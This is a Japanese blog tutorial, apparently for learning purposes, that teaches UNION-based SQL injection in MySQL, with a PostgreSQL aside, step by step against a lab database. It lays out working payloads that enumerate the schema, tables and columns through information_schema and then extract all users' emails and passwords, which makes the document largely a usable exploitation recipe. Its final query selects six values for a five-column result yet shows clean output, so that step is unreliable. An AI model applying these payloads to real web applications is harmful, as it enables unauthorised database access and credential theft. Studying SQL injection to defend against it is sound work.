ゆっくりSQLインジェクション(UNION – MySQL – 編)

SQLiで、代表的なSQLのUNION句だが、フォームから投げ込むと「なんとなく感」があるので、実際にSQLレベルで、ゆっくり理解していく。

MySQLにしたのは、簡単だから。

そもそもUNIONとは

selectした結果に、他の結果を合成(UNION)した結果を返す。

例えば、普通のSQL文。

mysql> select * from users;
+----+--------+----------------+----------+------+
| id | name   | email          | password | age  |
+----+--------+----------------+----------+------+
|  1 | 太郎   | test1@hoge.com | pa$$word |   19 |
|  2 | 次郎   | test2@hoge.com | @pple    |   23 |
|  3 | 花子   | test3@hoge.com | p@ssw0rd |   34 |
+----+--------+----------------+----------+------+

これに、適当な値をUNIONしてみる。

mysql> select * from users union select 1,2,3,4,5;
+----+--------+----------------+----------+------+
| id | name   | email          | password | age  |
+----+--------+----------------+----------+------+
|  1 | 太郎   | test1@hoge.com | pa$$word |   19 |
|  2 | 次郎   | test2@hoge.com | @pple    |   23 |
|  3 | 花子   | test3@hoge.com | p@ssw0rd |   34 |
|  1 | 2      | 3              | 4        |    5 |
+----+--------+----------------+----------+------+

追加される側(左辺)のカラム数と、UNIONする側のカラム数が一致してないとエラーが出る。今回の場合は、結果として表示されるカラム数は、id, name, email, password, ageの、5つ。なので、

「select 1,2,3,4,5」

は、成功するが、以下は失敗する。3つしかないからね。要は、左辺と右辺でカラム数があっていないとエラーになるのがUNION。

mysql> select * from users union select 1,2,3,4,5 union select 1,2,3;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

コレを悪用すると、左辺の内容を知らなくても、左辺の結果を右辺でUNIONを使って調べることができる。

以下の例のように、右辺のカラムを手打ちで増やしていく。実際にSQLインジェクションの脆弱性があるシステムに対して、フォームからこの様に打ち込んでいくと、カラム数があった時点で、WEB画面にはエラーではなくて、1〜5の値の全て(もしくはいずれか)が、表示される。

どういうことかと言うと、webアプリケーションではDBから取得した結果を、HTML上に帳票するので、例えば以下の様に画面には表示されたりする。

  • ユーザー名:「unionで指定した2」
  • メールアドレス:「unionで指定した3」
  • 年齢:「unionで指定した5」

ここまで来たら、ほぼ攻略したようなもの。

余談:「PostgreSQL」の場合

今回「MySQL」にしたのは冒頭にも述べたように「簡単」だから。Posgreで同じことをすると以下のエラーとなる。

hacking_lab=# select * from users union (select 1, 2, 3, 4, 5);

ERROR:  UNION types character varying and integer cannot be matched
LINE 1: select * from users union (select 1, 2, 3, 4, 5);
                                             ^

UNIONしても左辺と右辺のデータの型が一致しないとエラーとなる。これは攻撃する側からすると、「MySQL」の場合はカラム数だけ合致させればよかったものの、Posgreの場合は「カラム数」と「それぞれの型」を合致させる必要が有るため、地味に時間がかかり相当厄介なのだ。

しかし、今回は理解のため手動でやっているが、当然こんなの自動的にやってくれるツールはたくさんあるのでご心配なさらず。

ちなみに、カラム数と型を合わせると、Posgreさんもいい子になる。

hacking_lab=# select * from users union (select 4, '2', '3', '4', 5);

 id | name |     email      | password | age 
----+------+----------------+----------+-----
  4 | 2    | 3              | 4        |   5
  3 | 花子 | test3@hoge.com | p@ssw0rd |  32
  1 | 太郎 | test1@hoge.com | pa$$word |  19
  2 | 次郎 | test2@hoge.com | @pple    |  23

もっとやるとこんな感じになる。データベース毎のクセはあるけど、要は概念は一緒。

hacking_lab=# select * from users union (select 100, '2', '3', (select table_catalog from information_schema.tables where table_schema = 'public'), 5);
 id  | name |     email      |  password   | age 
-----+------+----------------+-------------+-----
   3 | 花子 | test3@hoge.com | p@ssw0rd    |  32
   1 | 太郎 | test1@hoge.com | pa$$word    |  19
   2 | 次郎 | test2@hoge.com | @pple       |  23
 100 | 2    | 3              | hacking_lab |   5

と言うことで、引き続き「MySQL」で進める。

UNIONを活用してみる

先程の、SQLはこうだった。

mysql> select * from users union select 1,2,3,4,5;
+----+--------+----------------+----------+------+
| id | name   | email          | password | age  |
+----+--------+----------------+----------+------+
|  1 | 太郎   | test1@hoge.com | pa$$word |   19 |
|  2 | 次郎   | test2@hoge.com | @pple    |   23 |
|  3 | 花子   | test3@hoge.com | p@ssw0rd |   34 |
|  1 | 2      | 3              | 4        |    5 |
+----+--------+----------------+----------+------+

1とか2とかの情報は自分で打っているものなのだが、ここに本当に取りた以上を入れることは出来ないかを考えていく。

ここからは、理解のためSQLiの基本的なセオリーに沿って進めます。

スキーマ(MySQLではDB)の情報を取得

SQLを少し変えて、「5」の部分に「database()」関数を入れてみるとその結果が、元の結果にUNIONされる。ターゲットのスキーマが、「hacking_lab」という名前ということが解った。

mysql> select * from users union select 1,2,3,4,5 union select 1,2,3,4,database();
+----+--------+----------------+----------+-------------+
| id | name   | email          | password | age         |
+----+--------+----------------+----------+-------------+
|  1 | 太郎   | test1@hoge.com | pa$$word | 19          |
|  2 | 次郎   | test2@hoge.com | @pple    | 23          |
|  3 | 花子   | test3@hoge.com | p@ssw0rd | 34          |
|  1 | 2      | 3              | 4        | 5           |
|  1 | 2      | 3              | 4        | hacking_lab |
+----+--------+----------------+----------+-------------+

テーブル一覧の取得

対象となるスキーマ名が、「hacking_lab」と解ったので、WHERE句で絞り、スキーマの中に有るテーブルを全て抜き出してみる。

「hacking_lab」スキーマの中には、「products」と「users」というテーブルが存在する事が解った。

mysql> select * from users union (select 1,2,3,4, group_concat(table_name) from information_schema.tables where table_schema = 'hacking_lab');
+----+--------+----------------+----------+----------------+
| id | name   | email          | password | age            |
+----+--------+----------------+----------+----------------+
|  1 | 太郎   | test1@hoge.com | pa$$word | 19             |
|  2 | 次郎   | test2@hoge.com | @pple    | 23             |
|  3 | 花子   | test3@hoge.com | p@ssw0rd | 34             |
|  1 | 2      | 3              | 4        | products,users |
+----+--------+----------------+----------+----------------+

ここで、唐突なキーワドが出て来たので、以下概要を説明。

group_concat結果が複数の場合、1つの文字列に結合する関数。
information_schema.tablesMySQLはデータベースの構造情報を全て、inforamation_schemaというデータベースに保存している。データベース全体に存在するテーブルの一覧を見たい場合は、information_schema.tablesに、selectすることにより、全テーブルが取れる。
table_shemainformation_schemaデータベースの、tablesテーブルの、table_schemaカラム。テーブルが存在するスキーマ名が入っている。
table_nameinformation_schemaデータベースの、tablesテーブルの、table_nameカラム。テーブル名が入っている。

そろそろ、元のデータ(上記結果)の、id1〜3が邪魔なので、本命だけ表示させていく。存在しないユーザーIDの、100をwhere句を左辺に追加。

mysql> select * from users where id = 100 union (select 1,2,3,4, group_concat(table_name) from information_schema.tables where table_schema = 'hacking_lab');
+----+------+-------+----------+----------------+
| id | name | email | password | age            |
+----+------+-------+----------+----------------+
|  1 | 2    | 3     | 4        | products,users |
+----+------+-------+----------+----------------+

テーブルのカラム情報の取得

usersテーブルにどんなカラムがあるかを調査していきたいので、「table_name」を「users」で絞る。

mysql> select * from users where id = 100 union (select 1,2,3,4, group_concat(column_name) from information_schema.columns where table_schema = 'hacking_lab' and table_name = 'users');
+----+------+-------+----------+----------------------------+
| id | name | email | password | age                        |
+----+------+-------+----------+----------------------------+
|  1 | 2    | 3     | 4        | id,name,email,password,age |
+----+------+-------+----------+----------------------------+

カラム名の情報も、上記で説明した「information_schema」に全て保存されているので、引き続きこれを利用していく。

結果、「users」テーブルには、以下のカラムが存在するところまで判明した。

  • id
  • name
  • email
  • password
  • age

欲しい情報を画面に表示させる

さて、ここで最初に上げた、この5つのカラムの情報のうちいくつがWEB画面で表示されているかを思いだす。仮に以下の3つの情報が、WEB画面に表示されているのであれば、「2」「3」「5」のカラムのいずれかに欲しい情報をセットしてあげればいい。

  • ユーザー名:「2」
  • メールアドレス:「3」
  • 年齢:「5」

今回は、ユーザー名の部分に取りたい情報をUNIONしてみる。

mysql> select * from users where id = 100 union (select 1, (select group_concat(email, ":", password separator ' ') from users),2,3,4,5);
+---+-------------------------------------------------------------------------+------+-------+----------+------+
| id | name                                                                 | email | password | age  |
+-----------------------------------------------------------------------------+------+-------+----------+------+
| 1  | test1@hoge.com:pa$$word test2@hoge.com:@pple test3@hoge.com:p@ssw0rd | 3     | 4        |    5 |
+----------------------------------------------------------------------+------+-------+----------+------+

WEB画面に表示されている「ユーザー名」の部分に、全ユーザーのメアドとパスワードが表示される。

例えば、こんな感じだろうか?

こんにちは! test1@hoge.com:pa$$word test2@hoge.com:@pple test3@hoge.com:p@ssw0rd さん!

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です